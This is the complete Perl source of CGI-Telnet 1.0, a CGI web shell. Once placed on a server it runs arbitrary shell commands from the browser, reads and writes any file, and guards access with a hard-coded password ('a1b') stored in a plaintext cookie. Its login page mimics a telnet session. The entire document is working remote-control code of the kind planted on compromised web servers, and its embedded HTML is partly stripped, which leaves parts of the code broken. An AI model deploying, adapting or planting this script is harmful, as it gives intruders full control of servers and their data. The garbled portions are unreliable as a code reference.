#!/usr/bin/perl #------------------------------------------------------------------------------ # Copyright and Licence #------------------------------------------------------------------------------ # CGI-Telnet Version 1.0 for NT and Unix : Run Commands on your Web Server # # Copyright (C) 2001 Rohitab Batra # Permission is granted to use, distribute and modify this script so long # as this copyright notice is left intact. If you make changes to the script # please document them and inform me. If you would like any changes to be made # in this script, you can e-mail me. # # Author: Rohitab Batra # Author e-mail: rohitab@rohitab.com # Author Homepage: http://www.rohitab.com/ # Script Homepage: http://www.rohitab.com/cgiscripts/cgitelnet.html # Product Support: http://www.rohitab.com/support/ # Discussion Forum: http://www.rohitab.com/discuss/ # Mailing List: http://www.rohitab.com/mlist/ #------------------------------------------------------------------------------ #------------------------------------------------------------------------------ # Installation #------------------------------------------------------------------------------ # To install this script # # 1. Modify the first line "#!/usr/bin/perl" to point to the correct path on # your server. For most servers, you may not need to modify this. # 2. Change the password in the Configuration section below. # 3. If you're running the script under Windows NT, set $WinNT = 1 in the # Configuration Section below. # 4. Upload the script to a directory on your server which has permissions to # execute CGI scripts. This is usually cgi-bin. Make sure that you upload # the script in ASCII mode. # 5. Change the permission (CHMOD) of the script to 755. # 6. Open the script in your web browser. If you uploaded the script in # cgi-bin, this should be http://www.yourserver.com/cgi-bin/cgitelnet.pl # 7. Login using the password that you specified in Step 2. #------------------------------------------------------------------------------ #------------------------------------------------------------------------------ # Configuration: You need to change only $Password and $WinNT. The other # values should work fine for most systems. #------------------------------------------------------------------------------ $Password = "a1b"; # Change this. You will need to enter this # to login. $WinNT = 0; # You need to change the value of this to 1 if # you're running this script on a Windows NT # machine. If you're running it on Unix, you # can leave the value as it is. $NTCmdSep = "&"; # This character is used to seperate 2 commands # in a command line on Windows NT. $UnixCmdSep = ";"; # This character is used to seperate 2 commands # in a command line on Unix. $CommandTimeoutDuration = 10; # Time in seconds after commands will be killed # Don't set this to a very large value. This is # useful for commands that may hang or that # take very long to execute, like "find /". # This is valid only on Unix servers. It is # ignored on NT Servers. $ShowDynamicOutput = 1; # If this is 1, then data is sent to the # browser as soon as it is output, otherwise # it is buffered and send when the command # completes. This is useful for commands like # ping, so that you can see the output as it # is being generated. # DON'T CHANGE ANYTHING BELOW THIS LINE UNLESS YOU KNOW WHAT YOU'RE DOING !! $CmdSep = ($WinNT ? $NTCmdSep : $UnixCmdSep); $CmdPwd = ($WinNT ? "cd" : "pwd"); $PathSep = ($WinNT ? "\\" : "/"); $Redirector = ($WinNT ? " 2>&1 1>&2" : " 1>&1 2>&1"); #------------------------------------------------------------------------------ # Reads the input sent by the browser and parses the input variables. It # parses GET, POST and multipart/form-data that is used for uploading files. # The filename is stored in $in{'f'} and the data is stored in $in{'filedata'}. # Other variables can be accessed using $in{'var'}, where var is the name of # the variable. Note: Most of the code in this function is taken from other CGI # scripts. #------------------------------------------------------------------------------ sub ReadParse { local (*in) = @_ if @_; local ($i, $loc, $key, $val); $MultipartFormData = $ENV{'CONTENT_TYPE'} =~ /multipart\/form-data; boundary=(.+)$/; if($ENV{'REQUEST_METHOD'} eq "GET") { $in = $ENV{'QUERY_STRING'}; } elsif($ENV{'REQUEST_METHOD'} eq "POST") { binmode(STDIN) if $MultipartFormData & $WinNT; read(STDIN, $in, $ENV{'CONTENT_LENGTH'}); } # handle file upload data if($ENV{'CONTENT_TYPE'} =~ /multipart\/form-data; boundary=(.+)$/) { $Boundary = '--'.$1; # please refer to RFC1867 @list = split(/$Boundary/, $in); $HeaderBody = $list[1]; $HeaderBody =~ /\r\n\r\n|\n\n/; $Header = $`; $Body = $'; $Body =~ s/\r\n$//; # the last \r\n was put in by Netscape $in{'filedata'} = $Body; $Header =~ /filename=\"(.+)\"/; $in{'f'} = $1; $in{'f'} =~ s/\"//g; $in{'f'} =~ s/\s//g; # parse trailer for($i=2; $list[$i]; $i++) { $list[$i] =~ s/^.+name=$//; $list[$i] =~ /\"(\w+)\"/; $key = $1; $val = $'; $val =~ s/(^(\r\n\r\n|\n\n))|(\r\n$|\n$)//g; $val =~ s/%(..)/pack("c", hex($1))/ge; $in{$key} = $val; } } else # standard post data (url encoded, not multipart) { @in = split(/&/, $in); foreach $i (0 .. $#in) { $in[$i] =~ s/\+/ /g; ($key, $val) = split(/=/, $in[$i], 2); $key =~ s/%(..)/pack("c", hex($1))/ge; $val =~ s/%(..)/pack("c", hex($1))/ge; $in{$key} .= "\0" if (defined($in{$key})); $in{$key} .= $val; } } } #------------------------------------------------------------------------------ # Prints the HTML Page Header # Argument 1: Form item name to which focus should be set #------------------------------------------------------------------------------ sub PrintPageHeader { $EncodedCurrentDir = $CurrentDir; $EncodedCurrentDir =~ s/([^a-zA-Z0-9])/'%'.unpack("H*",$1)/eg; print "Content-type: text/html\n\n"; print < Doc $HtmlMetaHeader
# Connected to $ServerName
Upload File | Download File | Disconnect | Help
END } #------------------------------------------------------------------------------ # Prints the Login Screen #------------------------------------------------------------------------------ sub PrintLoginScreen { $Message = q$
$;
#'
	print <
Trying $ServerName...
Connected to $ServerName
Escape character is ^] $Message END } #------------------------------------------------------------------------------ # Prints the message that informs the user of a failed login #------------------------------------------------------------------------------ sub PrintLoginFailedMessage { print <
login: admin
password:
Login incorrect

END } #------------------------------------------------------------------------------ # Prints the HTML form for logging in #------------------------------------------------------------------------------ sub PrintLoginForm { print <
login: admin
password:
END } #------------------------------------------------------------------------------ # Prints the footer for the HTML Page #------------------------------------------------------------------------------ sub PrintPageFooter { print "
"; } #------------------------------------------------------------------------------ # Retreives the values of all cookies. The cookies can be accesses using the # variable $Cookies{''} #------------------------------------------------------------------------------ sub GetCookies { @httpcookies = split(/; /,$ENV{'HTTP_COOKIE'}); foreach $cookie(@httpcookies) { ($id, $val) = split(/=/, $cookie); $Cookies{$id} = $val; } } #------------------------------------------------------------------------------ # Prints the screen when the user logs out #------------------------------------------------------------------------------ sub PrintLogoutScreen { print "Connection closed by foreign host.

"; } #------------------------------------------------------------------------------ # Logs out the user and allows the user to login again #------------------------------------------------------------------------------ sub PerformLogout { print "Set-Cookie: SAVEDPWD=;\n"; # remove password cookie &PrintPageHeader("p"); &PrintLogoutScreen; &PrintLoginScreen; &PrintLoginForm; &PrintPageFooter; } #------------------------------------------------------------------------------ # This function is called to login the user. If the password matches, it # displays a page that allows the user to run commands. If the password doens't # match or if no password is entered, it displays a form that allows the user # to login #------------------------------------------------------------------------------ sub PerformLogin { if($LoginPassword eq $Password) # password matched { print "Set-Cookie: SAVEDPWD=$LoginPassword;\n"; &PrintPageHeader("c"); &PrintCommandLineInputForm; &PrintPageFooter; } else # password didn't match { &PrintPageHeader("p"); &PrintLoginScreen; if($LoginPassword ne "") # some password was entered { &PrintLoginFailedMessage; } &PrintLoginForm; &PrintPageFooter; } } #------------------------------------------------------------------------------ # Prints the HTML form that allows the user to enter commands #------------------------------------------------------------------------------ sub PrintCommandLineInputForm { $Prompt = $WinNT ? "$CurrentDir> " : "[admin\@$ServerName $CurrentDir]\$ "; print <
$Prompt
END } #------------------------------------------------------------------------------ # Prints the HTML form that allows the user to download files #------------------------------------------------------------------------------ sub PrintFileDownloadForm { $Prompt = $WinNT ? "$CurrentDir> " : "[admin\@$ServerName $CurrentDir]\$ "; print <
$Prompt download

Filename:

Download:
END } #------------------------------------------------------------------------------ # Prints the HTML form that allows the user to upload files #------------------------------------------------------------------------------ sub PrintFileUploadForm { $Prompt = $WinNT ? "$CurrentDir> " : "[admin\@$ServerName $CurrentDir]\$ "; print <
$Prompt upload

Filename:

Options:   Overwrite if it Exists

Upload:   
END } #------------------------------------------------------------------------------ # This function is called when the timeout for a command expires. We need to # terminate the script immediately. This function is valid only on Unix. It is # never called when the script is running on NT. #------------------------------------------------------------------------------ sub CommandTimeout { if(!$WinNT) { alarm(0); print < Command exceeded maximum time of $CommandTimeoutDuration second(s).
Killed it! END &PrintCommandLineInputForm; &PrintPageFooter; exit; } } #------------------------------------------------------------------------------ # This function is called to execute commands. It displays the output of the # command and allows the user to enter another command. The change directory # command is handled differently. In this case, the new directory is stored in # an internal variable and is used each time a command has to be executed. The # output of the change directory command is not displayed to the users # therefore error messages cannot be displayed. #------------------------------------------------------------------------------ sub ExecuteCommand { if($RunCommand =~ m/^\s*cd\s+(.+)/) # it is a change dir command { # we change the directory internally. The output of the # command is not displayed. $OldDir = $CurrentDir; $Command = "cd \"$CurrentDir\"".$CmdSep."cd $1".$CmdSep.$CmdPwd; chop($CurrentDir = `$Command`); &PrintPageHeader("c"); $Prompt = $WinNT ? "$OldDir> " : "[admin\@$ServerName $OldDir]\$ "; print "$Prompt $RunCommand"; } else # some other command, display the output { &PrintPageHeader("c"); $Prompt = $WinNT ? "$CurrentDir> " : "[admin\@$ServerName $CurrentDir]\$ "; print "$Prompt $RunCommand"; $Command = "cd \"$CurrentDir\"".$CmdSep.$RunCommand.$Redirector; if(!$WinNT) { $SIG{'ALRM'} = \&CommandTimeout; alarm($CommandTimeoutDuration); } if($ShowDynamicOutput) # show output as it is generated { $|=1; $Command .= " |"; open(CommandOutput, $Command); while(<CommandOutput>) { $_ =~ s/(\n|\r\n)$//; print "$_\n"; } $|=0; } else # show output after command completes { print `$Command`; } if(!$WinNT) { alarm(0); } print ""; } &PrintCommandLineInputForm; &PrintPageFooter; } #------------------------------------------------------------------------------ # This function displays the page that contains a link which allows the user # to download the specified file. The page also contains a auto-refresh # feature that starts the download automatically. # Argument 1: Fully qualified filename of the file to be downloaded #------------------------------------------------------------------------------ sub PrintDownloadLinkPage { local($FileUrl) = @_; if(-e $FileUrl) # if the file exists { # encode the file link so we can send it to the browser $FileUrl =~ s/([^a-zA-Z0-9])/'%'.unpack("H*",$1)/eg; $DownloadLink = "$ScriptLocation?a=download&f=$FileUrl&o=go"; $HtmlMetaHeader = ""; &PrintPageHeader("c"); print < Sending File $TransferFile...
If the download does not start automatically, Click Here.
END &PrintCommandLineInputForm; &PrintPageFooter; } else # file doesn't exist { &PrintPageHeader("f"); print "Failed to download $FileUrl: $!"; &PrintFileDownloadForm; &PrintPageFooter; } } #------------------------------------------------------------------------------ # This function reads the specified file from the disk and sends it to the # browser, so that it can be downloaded by the user. # Argument 1: Fully qualified pathname of the file to be sent. #------------------------------------------------------------------------------ sub SendFileToBrowser { local($SendFile) = @_; if(open(SENDFILE, $SendFile)) # file opened for reading { if($WinNT) { binmode(SENDFILE); binmode(STDOUT); } $FileSize = (stat($SendFile))[7]; ($Filename = $SendFile) =~ m!([^/^\\]*)$!; print "Content-Type: application/x-unknown\n"; print "Content-Length: $FileSize\n"; print "Content-Disposition: attachment; filename=$1\n\n"; print while(); close(SENDFILE); } else # failed to open file { &PrintPageHeader("f"); print "Failed to download $SendFile: $!"; &PrintFileDownloadForm; &PrintPageFooter; } } #------------------------------------------------------------------------------ # This function is called when the user downloads a file. It displays a message # to the user and provides a link through which the file can be downloaded. # This function is also called when the user clicks on that link. In this case, # the file is read and sent to the browser. #------------------------------------------------------------------------------ sub BeginDownload { # get fully qualified path of the file to be downloaded if(($WinNT & ($TransferFile =~ m/^\\|^.:/)) | (!$WinNT & ($TransferFile =~ m/^\//))) # path is absolute { $TargetFile = $TransferFile; } else # path is relative { chop($TargetFile) if($TargetFile = $CurrentDir) =~ m/[\\\/]$/; $TargetFile .= $PathSep.$TransferFile; } if($Options eq "go") # we have to send the file { &SendFileToBrowser($TargetFile); } else # we have to send only the link page { &PrintDownloadLinkPage($TargetFile); } } #------------------------------------------------------------------------------ # This function is called when the user wants to upload a file. If the # file is not specified, it displays a form allowing the user to specify a # file, otherwise it starts the upload process. #------------------------------------------------------------------------------ sub UploadFile { # if no file is specified, print the upload form again if($TransferFile eq "") { &PrintPageHeader("f"); &PrintFileUploadForm; &PrintPageFooter; return; } &PrintPageHeader("c"); # start the uploading process print "Uploading $TransferFile to $CurrentDir...
"; # get the fullly qualified pathname of the file to be created chop($TargetName) if ($TargetName = $CurrentDir) =~ m/[\\\/]$/; $TransferFile =~ m!([^/^\\]*)$!; $TargetName .= $PathSep.$1; $TargetFileSize = length($in{'filedata'}); # if the file exists and we are not supposed to overwrite it if(-e $TargetName && $Options ne "overwrite") { print "Failed: Destination file already exists.
"; } else # file is not present { if(open(UPLOADFILE, ">$TargetName")) { binmode(UPLOADFILE) if $WinNT; print UPLOADFILE $in{'filedata'}; close(UPLOADFILE); print "Transfered $TargetFileSize Bytes.
"; print "File Path: $TargetName
"; } else { print "Failed: $!
"; } } print "
"; &PrintCommandLineInputForm; &PrintPageFooter; } #------------------------------------------------------------------------------ # This function is called when the user wants to download a file. If the # filename is not specified, it displays a form allowing the user to specify a # file, otherwise it displays a message to the user and provides a link # through which the file can be downloaded. #------------------------------------------------------------------------------ sub DownloadFile { # if no file is specified, print the download form again if($TransferFile eq "") { &PrintPageHeader("f"); &PrintFileDownloadForm; &PrintPageFooter; return; } # get fully qualified path of the file to be downloaded if(($WinNT & ($TransferFile =~ m/^\\|^.:/)) | (!$WinNT & ($TransferFile =~ m/^\//))) # path is absolute { $TargetFile = $TransferFile; } else # path is relative { chop($TargetFile) if($TargetFile = $CurrentDir) =~ m/[\\\/]$/; $TargetFile .= $PathSep.$TransferFile; } if($Options eq "go") # we have to send the file { &SendFileToBrowser($TargetFile); } else # we have to send only the link page { &PrintDownloadLinkPage($TargetFile); } } #------------------------------------------------------------------------------ # Main Program - Execution Starts Here #------------------------------------------------------------------------------ &ReadParse; &GetCookies; $ScriptLocation = $ENV{'SCRIPT_NAME'}; $ServerName = $ENV{'SERVER_NAME'}; $LoginPassword = $in{'p'}; $RunCommand = $in{'c'}; $TransferFile = $in{'f'}; $Options = $in{'o'}; $Action = $in{'a'}; $Action = "login" if($Action eq ""); # no action specified, use default # get the directory in which the commands will be executed $CurrentDir = $in{'d'}; chop($CurrentDir = `$CmdPwd`) if($CurrentDir eq ""); $LoggedIn = $Cookies{'SAVEDPWD'} eq $Password; if($Action eq "login" || !$LoggedIn) # user needs/has to login { &PerformLogin; } elsif($Action eq "command") # user wants to run a command { &ExecuteCommand; } elsif($Action eq "upload") # user wants to upload a file { &UploadFile; } elsif($Action eq "download") # user wants to download a file { &DownloadFile; } elsif($Action eq "logout") # user wants to logout { &PerformLogout; }